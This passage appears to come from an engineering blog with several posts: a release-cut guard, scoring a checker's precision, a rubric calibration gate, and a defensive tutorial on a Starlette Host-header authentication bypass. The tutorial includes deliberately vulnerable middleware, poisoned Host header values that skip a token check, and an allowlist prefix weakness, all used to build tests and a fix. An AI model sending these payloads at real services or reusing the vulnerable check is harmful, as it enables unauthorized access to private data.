console.log('\nall checks passed');

Save the four blocks as status.mjs, status2.mjs, target.mjs and cut.mjs, this one as check.mjs, and run node check.mjs. No dependencies; it is Node’s own assert module. Here is what it printed for me:

collapsed : {"name":"widget","state":"untagged-bump-on-main","lastTag":"0.1.0","versionOnMain":"0.2.1","versionOnDev":"0.3.0"}
  -> one state string, and nothing in it mentions 0.3.0

with fact : {"state":"untagged-bump-on-main","devAhead":{"version":"0.3.0","aheadOfMain":true}}
  blocker : dev-ahead-of-main | main carries 0.2.1 but dev carries 0.3.0: cutting here would tag v0.2.1, not v0.3.0.

unconfirmed cut -> widget: main carries 0.2.1 but dev carries 0.3.0, so which one to release is ambiguous and this refuses to guess. Promote dev to main and re-read status to release 0.3.0, or pass --version 0.2.1 to release exactly what is on main.

cut --version 0.2.1 -> {"ok":true,"tag":"v0.2.1","targetVersion":"0.2.1","via":"dispatch-on-main"}
cut --version 0.3.0 -> 0.3.0 is on dev but not on main, and a dispatch on main cannot cut it. Promote dev to main first, then re-read status.

routine dev-ahead: bump-on-dev-unpromoted | blockers: 0
never released : untagged-bump-on-main | blockers: 1

all checks passed

The assertion doing the most work is calls().length === 0. It is not checking that an error was returned; it is checking that the irreversible thing was never reached. Those are different tests, and only the second one survives someone later adding an early dispatch above the guard.

Gotchas

Patching only the branch you were standing in leaves the sibling. The bug surfaced on a component with an existing tag, so the obvious fix is to add a condition to that branch of the if/else chain. That fix is wrong for a component with no tags at all, which reaches the same state through the !lastTag arm and is just as capable of being mis-tagged. The escape is to ask which routes reach the dangerous state, not which one you happened to reproduce, and to compute the guarding fact outside the chain entirely.

A blocker raised in every state where the fact is true stops being a blocker. devAhead is set in two states and dangerous in one. Flagging both would put a permanent warning on a normal condition, and people learn very quickly to scroll past a warning that is always there. Scope the alarm to the state where the armed path actually exists, and be willing to leave the fact unflagged elsewhere.

Two derivations of one decision will eventually disagree. The version being dispatched and the tag being waited for were computed separately, which is what allowed a run to prove the existence of a tag it had not actually asked for. Whenever a function does a thing and then verifies the thing, both halves must read one variable. If you cannot point at the single expression that decided it, you have two.

Do not compare versions as strings. cmpSemver parses to numbers on purpose. Semantic Versioning requires numeric comparison: “Major, minor, and patch versions are always compared numerically”, and the spec forbids leading zeroes for the same reason. Lexicographic order puts 0.10.0 below 0.9.0, and in a status reader that mistake reads as “dev is behind” and quietly disarms the check you just added.

Prove the refusal blocks the side effect, not just the return value. A test asserting ok === false passes perfectly well against a function that already dispatched before returning. Give the irreversible call a recorder, and assert it was never invoked.

Sources

Semantic Versioning 2.0.0 — precedence is numeric, which is why a version comparator parses instead of string-comparing
Command Line Interface Guidelines — confirming dangerous actions, and the scriptable --confirm="name-of-thing" form
Designing with types: Making illegal states unrepresentable — modelling states so invalid combinations cannot occur, and the over-collapsing failure on the other side of it

Changelog

fix(shipflow): refuse the ambiguous release-cut fast path (0.6.0) (#174) (249d4fd)
fix: a lockfile that disagrees with its package.json is a lie about what shipped (#163) (b41c1a2)

Measure your checker's precision on runs it never saw

Mon, 03 Aug 2026 00:00:00 GMT

Shipped

This release fixed five defects in a grading skill, all of which made its report assert something false. The measurement that found them is the transferable part: instead of arguing about whether the rules were right, the checker was scored against 47 real session transcripts. It came out at 85.7% precision overall and 14% at high severity, and its worst rule was wrong on all six of its real firings.

The 48-test suite was green the entire time. It was green because the frozen baseline is pinned to a session the tool had been developed against, and that session’s text happens to contain the exact phrases the rules recognise. If you maintain a linter, a policy checker, or an LLM-output grader, that is the failure mode to go looking for, and you can find it in an afternoon.

Why a green suite proves less than it looks

The trap is old and well documented in machine learning. Sebastian Raschka’s write-up on model evaluation and selection puts it directly: reusing a test set introduces bias and produces “overly optimistic estimates of the generalization performance,” because “the test set leaks information.” Every time you tune against it, you fit to it a little more.

A checker’s fixture is exactly that test set, and it leaks the same way. You write a rule, you run it against your sample, you adjust the pattern until the sample is clean. The sample is now a description of your rule rather than an independent test of it.

That matters because rule-based tools do not have a great baseline to begin with. A 2025 benchmark of static analysis tools against ten real C# projects containing 63 embedded vulnerabilities reported F-1 scores of 0.260, 0.386 and 0.546 for the three tools it evaluated. Research on reducing false positives in analytic bug detectors frames the same problem from the user’s side: these tools “tend to report a significant number of false positives, requiring developers to manually verify each warning,” which is precisely what stops people using them.

So assume your checker is worse than its fixture says, and go measure how much.

Build a checker worth grading

A rule-based checker over a log of events. Two rules, two severities, no dependencies.

// checker.mjs
export const RULES = [
  {
    id: "pr-into-main",
    severity: "high",
    describe: "a pull request must not target main directly",
    // Deliberately naive: it reads the base and ignores the head.
    match: (event) =>
      event.kind === "command" &&
      /gh pr create/.test(event.text) &&
      /--base main/.test(event.text),
  },
  {
    id: "secret-in-log",
    severity: "medium",
    describe: "never print a credential",
    match: (event) =>
      event.kind === "output" && /(?:token|api[_-]?key)=\S+/i.test(event.text),
  },
];

export function check(events) {
  const findings = [];
  for (const event of events) {
    for (const rule of RULES) {
      if (rule.match(event)) {
        findings.push({ ruleId: rule.id, severity: rule.severity, eventId: event.id });
      }
    }
  }
  return findings;
}

Collect real runs, and label them honestly

The input is runs the checker was never tuned on. One JSON object per line: the events, plus your verdict on each finding the checker produces.

Label after you look at the finding, not before. A finding is a true positive only if the thing it names actually happened and the rule genuinely forbids it in that context.

// make-corpus.mjs — stand-in for your real transcripts
import { writeFileSync } from "node:fs";

const runs = [
  {
    id: "run-1",
    events: [
      { id: "e1", kind: "command", text: "gh pr create --base main --head dev" },
    ],
    // The team's own process mandates promoting dev into main.
    verdicts: { "pr-into-main:e1": false },
  },
  {
    id: "run-2",
    events: [
      { id: "e1", kind: "command", text: "gh pr create --base main --head feature/x" },
    ],
    verdicts: { "pr-into-main:e1": true },
  },
  {
    id: "run-3",
    events: [
      { id: "e1", kind: "command", text: "gh pr create --base main --head dev" },
      { id: "e2", kind: "output", text: "GITHUB_TOKEN=ghp_realleakedvalue" },
    ],
    verdicts: { "pr-into-main:e1": false, "secret-in-log:e2": true },
  },
  {
    id: "run-4",
    events: [
      { id: "e1", kind: "output", text: "api_key=sk-live-abc123" },
    ],
    verdicts: { "secret-in-log:e1": true },
  },
];

writeFileSync("corpus.jsonl", runs.map((r) => JSON.stringify(r)).join("\n") + "\n");
console.log(`wrote ${runs.length} runs`);

Score it, split by severity and by rule

An overall number is where a broken rule hides. Compute precision three ways in one pass.

// score.mjs
import { readFileSync } from "node:fs";
import { check, RULES } from "./checker.mjs";

const runs = readFileSync("corpus.jsonl", "utf8")
  .trim().split("\n").map((line) => JSON.parse(line));

const tally = { all: { tp: 0, fp: 0 } };
const bySeverity = {};
const byRule = {};

for (const run of runs) {
  for (const finding of check(run.events)) {
    const key = `${finding.ruleId}:${finding.eventId}`;
    if (!(key in run.verdicts)) {
      throw new Error(`${run.id}: unlabelled finding ${key} — label it before scoring`);
    }
    const correct = run.verdicts[key];
    const bucket = correct ? "tp" : "fp";
    tally.all[bucket]++;
    (bySeverity[finding.severity] ??= { tp: 0, fp: 0 })[bucket]++;
    (byRule[finding.ruleId] ??= { tp: 0, fp: 0 })[bucket]++;
  }
}

const precision = ({ tp, fp }) => (tp + fp === 0 ? null : tp / (tp + fp));
const pct = (v) => (v === null ? "n/a" : `${(v * 100).toFixed(1)}%`);

console.log(`overall precision: ${pct(precision(tally.all))} ` +
            `(${tally.all.tp} true, ${tally.all.fp} false)`);

console.log("\nby severity:");
for (const [severity, counts] of Object.entries(bySeverity)) {
  console.log(`  ${severity.padEnd(8)} ${pct(precision(counts))}  ` +
              `(${counts.tp} true, ${counts.fp} false)`);
}

console.log("\nby rule:");
for (const rule of RULES) {
  const counts = byRule[rule.id];
  if (!counts) { console.log(`  ${rule.id.padEnd(14)} never fired`); continue; }
  console.log(`  ${rule.id.padEnd(14)} ${pct(precision(counts))}  ` +
              `(${counts.tp} true, ${counts.fp} false)`);
}

Run it

node make-corpus.mjs && node score.mjs

wrote 4 runs
overall precision: 60.0% (3 true, 2 false)

by severity:
  high     33.3%  (1 true, 2 false)
  medium   100.0%  (2 true, 0 false)

by rule:
  pr-into-main   33.3%  (1 true, 2 false)
  secret-in-log  100.0%  (2 true, 0 false)

Sixty percent overall reads like a tool with a tuning problem. The split says something sharper.

The secret-in-log rule is doing its job. The pr-into-main rule is wrong two times out of three, and every one of those false positives is the sanctioned promotion. On the real corpus that same rule was wrong on six of six firings, all of them the dev into main promotion the repo’s own process document requires.

The fix is not a threshold. The rule read --base and never --head, so it could not distinguish a promotion from a feature branch jumping the queue. A rule that encodes half of a two-part condition is not strict, it is broken, and only real runs show you which half is missing.

The unlabelled-finding exception matters as much as the arithmetic. A scorer that silently skips a finding it has no verdict for will quietly report precision over the subset you happened to label, which is the same optimistic bias one level down.

Gotchas

A rule that fires only on your own fixture will look perfect forever. The 48-test suite stayed green through all five defects because the frozen baseline is a session the tool was developed against, so its text contains the exact phrases the rules match. The escape is to keep the fixture for regression and score precision on a corpus of runs collected after the rules were written. If a rule has never fired on anything except your sample, treat it as unmeasured rather than passing.

A lazy quantifier with a minimum length cannot close on a short span. The clause extractor pulled rules out of markdown with /\*\*([\s\S]{5,400}?)\*\*/g. A bold span shorter than that five-character minimum cannot terminate on its own closing **, so the opener runs on to the next one and the matcher alternates from there, capturing the gap text between rules and discarding the real spans until another short span flips it back. The symptom was a contract that omitted **Never print or commit secrets.** while including the sentence immediately after it at severity high. The escape is to make the inner a run that cannot contain the delimiter, then let a separate length check do the filtering it was always meant to do. Fixing it recovered ten real rules in one contract and shed nine pieces of gap text.

One violating event should produce one finding. The decision ran once per bound clause, so a single command emitted a finding for each clause attached to it, including one citing a rule about pushes for an event that was not a push. Duplicates inflate every count you are about to compute, so deduplicate at the event, and attach each hit to the most specific rule rather than to all of them.

Two copies of the same arithmetic will disagree. The coverage number was computed once for the written report and again for the terminal summary, and the two drifted, so the tool contradicted the file it had just written. Export one function and call it from both. This is the boring one, and it is the one that shipped twice.

Know which fix you are not making. The trace layer was left alone on purpose: its event ids are positional, so a change that alters the count rewires citations to the wrong events with zero rejections, and on compacted sessions that would have silently moved a large share of them. A measurement that improves one number while corrupting the link between a finding and its evidence is not an improvement. Write down what you deliberately did not touch, and why.

Sources

Model evaluation, model selection, and algorithm selection in machine learning — why reusing a test set leaks information and yields optimistic estimates
Large Language Models Versus Static Code Analysis Tools: A Systematic Benchmark for Vulnerability Detection — F-1 scores of 0.260, 0.386 and 0.546 against ten real C# projects with 63 embedded vulnerabilities
Learning to Reduce False Positives in Analytic Bug Detectors — the false-positive burden on developers, and a 17.5% precision improvement over a static-analysis baseline

Changelog

fix(eval): the grader was wrong about what it said most loudly (0.3.0) (#171) (7f4f769)
fix(eval): a clause judgment examined is not a clause nobody examined (0.2.1) (e02bdbc)

The Host header can decide which path your auth check sees

Mon, 03 Aug 2026 00:00:00 GMT

Shipped

This release closed an authentication bypass in a personal fitness agent’s MCP server, alongside a batch plan-edit tool, a persona rewrite, and a round of deduplication. The bypass is the part worth teaching: a crafted Host header made the auth middleware believe a protected request was aimed at the one public route, so the bearer-token check returned early and never ran.

The whitelist function was correct the whole time. The bug was in what got passed to it. If you have a Python service that makes an authorization decision from a URL path, this is a fifteen-minute audit with a one-line fix, and the test that proves it is worth more than the fix.

Why a path can be two different strings

An ASGI server parses the request line and puts the target in the connection scope. The ASGI specification defines path as the “HTTP request target excluding any query string, with percent-encoded sequences and UTF-8 byte sequences decoded into characters.” It comes from the request line. Headers are a separate key in the same scope, and nothing about path derives from them.

Starlette’s request.url is a different animal. It is reconstructed, by concatenating the Host header with the path and re-parsing the result. That is convenient when you want an absolute URL, and it is a liability when you want a routing decision. PortSwigger’s Web Security Academy puts the root cause plainly: Host header vulnerabilities arise from the flawed assumption that the header is not user controllable. Anyone can set it to anything.

CVE-2026-48710 is exactly this. In starlette 1.0.0 and earlier, a Host header containing /, ?, or # shifts the path, query, and fragment boundaries when the rebuilt URL is re-parsed. The advisory is rated moderate, CVSS 6.5, and patched in 1.0.1. The router still dispatches on the real path; only code reading request.url.path sees the moved one.

OWASP has catalogued the general class for years. Its Web Security Testing Guide lists redirects to attacker-controlled domains, cache poisoning, and password-reset manipulation as consequences of processing the header without validation. Path-based authorization joins that list whenever a framework builds a URL out of it.

Set up a service worth attacking

Two dependencies, and a deliberately old starlette so you can watch the bug happen:

python -m venv .venv && source .venv/bin/activate
pip install 'fastapi==0.136.1' 'starlette==1.0.0' 'httpx' 'pytest' 'anyio'

The shape below is the common one: everything is private except a liveness probe that a container orchestrator has to reach without credentials.

# app.py
import os
import secrets

from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse

API_TOKEN = os.environ.get("API_TOKEN") or None

app = FastAPI()


@app.get("/health")
async def health():
    return {"status": "ok"}


@app.get("/private/data")
async def private_data():
    return {"secret": "your users' data lives here"}

Write the gate the obvious way, and watch it fail

Here is the version almost everyone writes first. It reads the path off the request, checks it against a whitelist, and short-circuits for public routes.

# app.py (continued)
def is_public_path(path: str) -> bool:
    """Deny by default. Only the liveness probe is public."""
    return path == "/health"


@app.middleware("http")
async def require_token(request: Request, call_next):
    path = request.url.path            # <-- the bug
    if API_TOKEN is None or is_public_path(path):
        return await call_next(request)
    header = request.headers.get("authorization", "")
    if not secrets.compare_digest(header, f"Bearer {API_TOKEN}"):
        return JSONResponse({"error": "unauthorized"}, status_code=401)
    return await call_next(request)

Nothing about is_public_path is wrong. It is an exact match, it denies by default, and a unit test over it passes. The input is the problem.

You can see the divergence without running a server at all:

# show_divergence.py
from starlette.requests import Request

def scope(host: bytes) -> dict:
    return {
        "type": "http", "method": "GET", "path": "/private/data",
        "headers": [(b"host", host)], "query_string": b"",
        "scheme": "http", "server": ("example.local", 80),
        "client": ("10.0.0.9", 5555),
    }

for host in (b"example.local", b"example.local/health#"):
    request = Request(scope(host))
    print(f"Host={host.decode():24} url.path={request.url.path:16} scope={scope(host)['path']}")

Host=example.local            url.path=/private/data    scope=/private/data
Host=example.local/health#    url.path=/health          scope=/private/data

The router will dispatch to /private/data in both cases. The middleware sees /health in the second and waves it through.

Fix it at the source of the string

One accessor, used everywhere a path drives a security decision:

# app.py (replace the middleware above)
def request_path(request: Request) -> str:
    """The path the ROUTER dispatches on.

    Never request.url.path: starlette rebuilds that from the Host header, so a
    '/' in an attacker-supplied header moves the path boundary. scope["path"]
    is set by the ASGI server from the request line and no header can touch it.
    """
    return request.scope["path"]


@app.middleware("http")
async def require_token(request: Request, call_next):
    path = request_path(request)
    if API_TOKEN is None or is_public_path(path):
        return await call_next(request)
    header = request.headers.get("authorization", "")
    if not secrets.compare_digest(header, f"Bearer {API_TOKEN}"):
        return JSONResponse({"error": "unauthorized"}, status_code=401)
    return await call_next(request)

Upgrading starlette fixes this specific CVE, and you should do that too. It is the weaker half. The bump closes one instance; reading the router’s own path closes the class, and it keeps working when a transitive dependency re-pins starlette underneath you.

Verify it, against your own service

Point this at your app and run it. The first test is the invariant; the second is the end-to-end proof.

# test_auth_path.py
import httpx
import pytest
from starlette.requests import Request

import app as appmod


@pytest.fixture
def anyio_backend():
    return "asyncio"


HOSTILE = [
    b"example.local/health#",
    b"example.local/health?",
    b"example.local:8765/health#",
    b"/health#",
]


def test_request_path_is_invariant_under_any_host_header():
    for host in [b"example.local", *HOSTILE]:
        scope = {
            "type": "http", "method": "GET", "path": "/private/data",
            "headers": [(b"host", host)], "query_string": b"",
            "scheme": "http", "server": ("example.local", 80),
            "client": ("10.0.0.9", 5555),
        }
        request = Request(scope)
        assert appmod.request_path(request) == "/private/data"
        assert appmod.is_public_path(appmod.request_path(request)) is False


@pytest.mark.anyio
async def test_poisoned_host_cannot_bypass_the_token(monkeypatch):
    monkeypatch.setattr(appmod, "API_TOKEN", "test-token")
    transport = httpx.ASGITransport(app=appmod.app)
    async with httpx.AsyncClient(transport=transport, base_url="http://t") as client:
        for host in HOSTILE:
            response = await client.get(
                "/private/data", headers={"Host": host.decode()})
            assert response.status_code == 401, (
                f"Host={host!r} bypassed the gate: {response.status_code}")


@pytest.mark.anyio
async def test_health_stays_public(monkeypatch):
    monkeypatch.setattr(appmod, "API_TOKEN", "test-token")
    transport = httpx.ASGITransport(app=appmod.app)
    async with httpx.AsyncClient(transport=transport, base_url="http://t") as client:
        response = await client.get("/health", headers={"Host": "example.local"})
        assert response.status_code == 200

pytest test_auth_path.py -q

...                                                                      [100%]
3 passed in 0.09s

The third test matters more than it looks: an over-correction that locks down /health breaks every container healthcheck you own, and that failure shows up as a restart loop at an inconvenient hour rather than as a red test.

Now prove the tests bite, which is the step people skip. Put request.url.path back in the middleware and run them again:

E               AssertionError: Host=b'example.local/health#' bypassed the gate: 200
E               assert 200 == 401
E                +  where 200 = <Response [200 OK]>.status_code

FAILED test_auth_path.py::test_poisoned_host_cannot_bypass_the_token
1 failed, 2 passed in 0.10s

A 200 where you demanded a 401, from a request carrying no credentials at all. If you revert the line and everything still passes, the test is not testing what you think it is, and you want to know that before you rely on it.

Gotchas

A defence you did not design is not a control. The exploit did not return 200 against the running service; it returned 421. A transport in front of the app had its own DNS-rebinding guard that checks Host against an allowlist, and its first branch is an exact string match. A poisoned header contains a /, so it can never match anything, and the guard answers Response("Invalid Host header", status_code=421). That is the attack’s shape colliding with an unrelated check, not a control anyone designed for this.

Read the next branch of that same guard, though:

for allowed in self.settings.allowed_hosts:
    if allowed.endswith(":*"):
        base_host = allowed[:-2]
        if host.startswith(base_host + ":"):
            return True

Configure the allowlist as example.local:*, which is a documented option, and example.local:8765/health# satisfies that prefix test. The guard returns True, the auth middleware has already returned early on its poisoned path, and the request reaches the application with no credentials. When an exploit dies somewhere you did not put a control, find the line that stopped it and read what else that line does before you downgrade the finding.

A green unit test on the pure function proves nothing about its callers. is_public_path had a test asserting deny-by-default, and it passed through the entire vulnerable period. It was never wrong. Test the seam where the caller supplies the input, not just the function in isolation.

Do not assert a third party’s bug in your regression test. My first version of the invariant test opened with a precondition I was pleased with: assert request.url.path == "/health", proving the installed starlette really was poisonable. Then I bumped starlette to 1.3.1 and the test failed with assert '/private/data' == '/health'. That draft was a CVE detector. Once the library was patched it would have passed forever while asserting nothing about my code, which is the worst kind of green. Pin the invariant your code must hold, across several hostile inputs, and let it hold on a patched library, a downgrade, and the next variant of the same class.

Your revert may fail with a stack trace instead of an assertion. The minimal app above fails cleanly, 200 against an expected 401. In the real service it did not: reverting raised RuntimeError: Task group is not initialized from inside a mounted sub-application, because the unauthenticated request now reached a mount whose lifespan the test never started. Reaching the mount at all was the proof that the gate had been skipped, so the test was still correct. Write that expectation into the docstring anyway, or the next person reads the traceback as flaky infrastructure and re-runs it until it goes away.

Sources

GHSA-86qp-5c8j-p5mr / CVE-2026-48710 — the starlette advisory: affected <= 1.0.0, patched 1.0.1, and the mechanism by which /, ?, and # in a Host header shift the reconstructed path
ASGI specification, HTTP connection scope — defines path as the request target, independent of headers
OWASP Web Security Testing Guide: Testing for Host Header Injection — the general class and its established consequences
PortSwigger Web Security Academy: HTTP Host header attacks — background on why the header is attacker-controlled in the first place

Changelog

release: 0.49.0 — MCP-surface audit (auth bypass, invisible draft, batch plan edit, dedup) (#197) (917db6b)

Count the grades your rubric never hands out

Mon, 03 Aug 2026 00:00:00 GMT

Shipped

0.43.0 added two things to the workout report card: a calibration script that regrades a trailing window of real sessions and fails when a grade distribution goes degenerate, and a set of verdict evals that assert the letter a run deserves rather than the float the rubric computed.

Both exist because of a defect that the module’s own test suite could not have caught. The report card had more than 140 unit tests. Every one of them asserted that the rubric computes what it says it computes: a deviation float, a band boundary, a display string. Not one could fail when the rubric’s answer was wrong. So every grading defect in that module’s history was found the same way, by a person reading a rendered card and saying “that grade is wrong.”

The technique below is the general version. If you own anything that turns a measurement into a category, a letter, a risk tier, a health status, a lead score, you can build both halves in an afternoon, and the first run usually tells you something.

Why unit tests structurally miss this

A band table is a function from a number to a label. Its unit tests pin the boundaries: 0.05 is an A, 0.051 is an A-. Those tests keep passing no matter how badly the boundary is placed, because they were written from the same understanding that placed it.

The measurable signature of a bad table is that it stops discriminating. In the case that prompted this work, a heart-rate ceiling was graded on the fraction of the run spent above it, and that fraction was fed into a table calibrated for relative magnitudes. Over 90 days the metric emitted 32 F, 7 A and 4 D, with B and C never used at all. A five-band scale with two live bands is a threshold wearing a rubric’s clothes, and it was visible in one query against data that had been sitting on disk the whole time.

Psychometrics has named this for a long time. In classical test theory, an item that everyone answers the same way is uninformative, because it does not differentiate between the people taking the test; variability in the responses is precisely what makes an item worth scoring. The same is true one level up, of the band table itself.

It is also the shape Google’s data-validation group described in Data Validation for Machine Learning: a defect confined to one slice can leave aggregate metrics looking fine, so the check has to be on the distribution, not on the average or on any single example.

Prerequisites: separate the grader from the report

You need one entry point that turns a record into a grade, and everything else must call it. Save this as rubric.py.

"""The grader under test: one deviation in, one letter out."""

# Each row is (max relative deviation, letter). First row that fits wins.
GRADE_BANDS = (
    (0.02, "A+"), (0.05, "A"), (0.08, "A-"),
    (0.12, "B+"), (0.16, "B"), (0.20, "B-"),
    (0.26, "C+"), (0.32, "C"), (0.38, "C-"),
    (0.40, "D"),
)
GRADE_POINTS = {"A": 4.0, "B": 3.0, "C": 2.0, "D": 1.0, "F": 0.0}


def base_letter(grade):
    """'B-' -> 'B'. The modifier is presentation; the band is the signal."""
    return grade[0] if grade else None


def grade_from_deviation(deviation):
    """Relative deviation (>= 0) -> letter. Anything past the last band is F."""
    for edge, letter in GRADE_BANDS:
        if deviation <= edge:
            return letter
    return "F"


def distance_deviation(actual_m, target_m):
    """Two-sided: a target distance is a point, missable either way."""
    return abs(actual_m - target_m) / target_m


def pace_deviation(actual_s_per_km, target_s_per_km, intent):
    """One-sided on easy days. An easy run is *supposed* to be slow, so only
    running too FAST is a miss; on the free side the deviation is exactly 0."""
    over = target_s_per_km - actual_s_per_km          # positive == too fast
    if intent == "easy" and over <= 0:
        return 0.0
    return abs(over) / target_s_per_km


def hr_deviation(avg_hr, cap_bpm):
    """Grade a prescribed ceiling in the unit it was prescribed in: bpm over.
    NOISE absorbs sensor jitter; SCALE sets how many bpm over is an F."""
    NOISE, SCALE = 1.5, 28.0
    return max(0.0, (avg_hr - cap_bpm) - NOISE) / SCALE


def grade_record(rec):
    """The production path. The calibration gate must call THIS, not a copy."""
    metrics = {
        "distance": grade_from_deviation(
            distance_deviation(rec["distance_m"], rec["target_distance_m"])),
        "pace": grade_from_deviation(
            pace_deviation(rec["pace_s_per_km"], rec["target_pace_s_per_km"],
                           rec["intent"])),
        "hr": grade_from_deviation(hr_deviation(rec["avg_hr"], rec["cap_bpm"])),
    }
    points = [GRADE_POINTS[base_letter(g)] for g in metrics.values()]
    gpa = sum(points) / len(points)
    overall = min(GRADE_POINTS, key=lambda k: abs(GRADE_POINTS[k] - gpa))
    # An F on any single metric caps the overall at C: a composite must not
    # average away a hard failure.
    capped_by = next((k for k, g in metrics.items() if base_letter(g) == "F"), None)
    if capped_by and GRADE_POINTS[overall] > 2.0:
        overall = "C"
    return {"metrics": metrics, "overall": overall, "capped_by": capped_by}

You also need history. In a real system this is your production database; for a runnable example, seed.py fabricates a season with a realistic spread of compliance.

"""Fabricate a season of history so the gate has something to grade."""
import sqlite3
from pathlib import Path

SCHEMA = """
CREATE TABLE IF NOT EXISTS sessions (
  id INTEGER PRIMARY KEY, day TEXT NOT NULL, intent TEXT NOT NULL,
  distance_m REAL, target_distance_m REAL,
  pace_s_per_km REAL, target_pace_s_per_km REAL,
  avg_hr REAL, cap_bpm REAL
);
"""

# (intent, distance multiplier, seconds faster than target, bpm over cap)
PATTERN = [
    ("easy", 1.00, 12, 0.5), ("easy", 1.01, 6, -3.0), ("quality", 0.98, -4, 6.0),
    ("easy", 1.02, 20, 2.0), ("long", 0.95, 30, -1.0), ("easy", 1.00, -2, 12.0),
    ("quality", 1.09, 2, 4.0), ("easy", 0.99, 40, 0.0), ("long", 1.15, 8, 9.0),
    ("easy", 1.00, 1, 18.0), ("quality", 0.70, -110, 1.0), ("easy", 1.45, 160, 24.0),
    ("quality", 1.62, -220, 3.0),
]


def build(path):
    Path(path).parent.mkdir(parents=True, exist_ok=True)
    conn = sqlite3.connect(path)
    conn.executescript(SCHEMA)
    conn.execute("DELETE FROM sessions")
    for i in range(48):
        intent, dist_mult, pace_delta, hr_over = PATTERN[i % len(PATTERN)]
        target_d, target_p, cap = 8000.0, 360.0, 140.0
        conn.execute(
            "INSERT INTO sessions (id, day, intent, distance_m, target_distance_m,"
            " pace_s_per_km, target_pace_s_per_km, avg_hr, cap_bpm)"
            " VALUES (?,?,?,?,?,?,?,?,?)",
            (i, f"2026-{1 + i // 28:02d}-{1 + i % 28:02d}", intent,
             target_d * dist_mult, target_d,
             target_p - pace_delta, target_p, cap + hr_over, cap))
    conn.commit()
    conn.close()
    return path


if __name__ == "__main__":
    print(f"seeded {build('data/history.db')}")

Build the gate: two signatures, and only two

The gate regrades the window and asks two questions of each metric’s letter counts.

Punitive skew. More than 60% of records land in D or F. A rubric measures compliance with an instruction somebody is trying to follow, so heavy compliance is the expected state. Heavy failure means either the athlete is missing constantly, which something else is already shouting about, or the yardstick is wrong.

Dead bands. Two or more letters are never used. The table cannot reach those grades on this data, so they are decoration.

Note what is deliberately not checked: concentration in a passing grade. That asymmetry was the correction to this check’s own first draft, which failed any letter above a flat 60% share and promptly flagged healthy metrics. Distance grades 79% A on the live data because the distances are being hit; that is the system working. The SRE book’s rule for alerting applies directly here, that every page should be actionable, because when alerts fire too often people skim or ignore them. A gate that cries about a metric doing its job gets muted, and then it protects nothing.

Save this as calibrate.py.

#!/usr/bin/env python3
"""Regrade real history through the production grader and gate on the shape
of the letter distribution. Exit 0 clean, 1 degenerate, 2 could not run."""
import argparse
import sqlite3
from collections import Counter

from rubric import base_letter, grade_record

LETTERS = ("A", "B", "C", "D", "F")
FAILING = ("D", "F")
MIN_SAMPLE = 10
DEFAULT_MAX_FAIL_SHARE = 0.60   # above this share of D/F, suspect the yardstick
DEFAULT_MAX_EMPTY = 2           # this many unused letters means the scale collapsed

# Naming the knobs per metric turns a failure into a next step instead of a grep.
GOVERNING_CONSTANTS = {
    "distance": ("GRADE_BANDS", "distance_deviation"),
    "pace": ("GRADE_BANDS", "pace_deviation"),
    "hr": ("GRADE_BANDS", "NOISE", "SCALE"),
}


def open_readonly(path):
    """mode=ro is enforced by SQLite, not by this script remembering to SELECT."""
    conn = sqlite3.connect(f"file:{path}?mode=ro", uri=True)
    conn.row_factory = sqlite3.Row
    return conn


def grade_window(conn):
    """Grade every historical record through the SAME entry point production
    uses. A reimplementation here would be free to disagree with the grader,
    and you would not know which of the two was wrong."""
    rows = conn.execute("SELECT * FROM sessions ORDER BY day")
    return [grade_record(dict(r)) for r in rows]


def collect(cards):
    tally = {name: Counter() for name in GOVERNING_CONSTANTS}
    for card in cards:
        for name, grade in card["metrics"].items():
            tally[name][base_letter(grade)] += 1
    return tally


def verdict(counts, *, max_fail_share, max_empty):
    """(status, reason) for one metric's distribution.

    Concentration in a PASSING letter is never a failure. A rubric measures
    compliance with an instruction somebody is trying to follow, so heavy
    compliance is the expected state; heavy failure is the surprise.
    """
    n = sum(counts.values())
    if n < MIN_SAMPLE:
        return "skip", f"only {n} graded; need {MIN_SAMPLE}"
    fail_share = sum(counts[x] for x in FAILING) / n
    empty = [x for x in LETTERS if not counts[x]]
    if fail_share > max_fail_share:
        return "FAIL", (f"{fail_share:.0%} graded D/F (max {max_fail_share:.0%})"
                        " - punitive skew")
    if len(empty) >= max_empty:
        return "FAIL", f"dead bands - {', '.join(empty)} never used"
    top, count = counts.most_common(1)[0]
    return "ok", (f"{len(LETTERS) - len(empty)}/5 bands used, "
                  f"{top} {count / n:.0%}, D/F {fail_share:.0%}")


def report(tally, cards, *, max_fail_share, max_empty):
    header = f"{'metric':<12}{'A':>4}{'B':>4}{'C':>4}{'D':>4}{'F':>4}{'n':>6}  verdict"
    out = [f"Calibration - {len(cards)} graded records", "", header, "-" * len(header)]
    failed = False
    for name in GOVERNING_CONSTANTS:
        counts = tally[name]
        status, reason = verdict(counts, max_fail_share=max_fail_share,
                                 max_empty=max_empty)
        failed = failed or status == "FAIL"
        cells = "".join(f"{counts[x]:>4}" for x in LETTERS)
        out.append(f"{name:<12}{cells}{sum(counts.values()):>6}  {status} - {reason}")
        if status == "FAIL":
            out.append(f"{'':<12}governed by: {', '.join(GOVERNING_CONSTANTS[name])}")

    # Informational, never gated: `overall` is derived from the rows above, so
    # failing it too would report one defect twice.
    overall = Counter(c["overall"] for c in cards)
    capped = sum(1 for c in cards if c["capped_by"])
    out += ["", "overall (informational, not gated)",
            "  letters: " + "  ".join(f"{x}={overall.get(x, 0)}" for x in LETTERS),
            f"  F-cap fired on {capped}/{len(cards)} ({capped / len(cards):.0%})"]
    return "\n".join(out), failed


def main(argv=None):
    ap = argparse.ArgumentParser()
    ap.add_argument("--db", default="data/history.db")
    ap.add_argument("--max-fail-share", type=float, default=DEFAULT_MAX_FAIL_SHARE)
    ap.add_argument("--max-empty", type=int, default=DEFAULT_MAX_EMPTY)
    args = ap.parse_args(argv)

    # sqlite3.connect() is lazy: a file that is not a database opens fine and
    # only raises on the first read, so the guard has to cover the query too.
    try:
        conn = open_readonly(args.db)
        try:
            cards = grade_window(conn)
        finally:
            conn.close()
    except sqlite3.Error as exc:
        print(f"ERROR - could not read {args.db}: {exc}")
        return 2
    if not cards:
        print(f"SKIPPED - no records in {args.db}")
        return 2

    text, failed = report(collect(cards), cards,
                          max_fail_share=args.max_fail_share,
                          max_empty=args.max_empty)
    print(text)
    if failed:
        print("\nFAIL - a band table has stopped discriminating. Recalibrate the"
              " named constants against this distribution before shipping.")
        return 1
    print("\nOK - every graded metric still uses its bands.")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

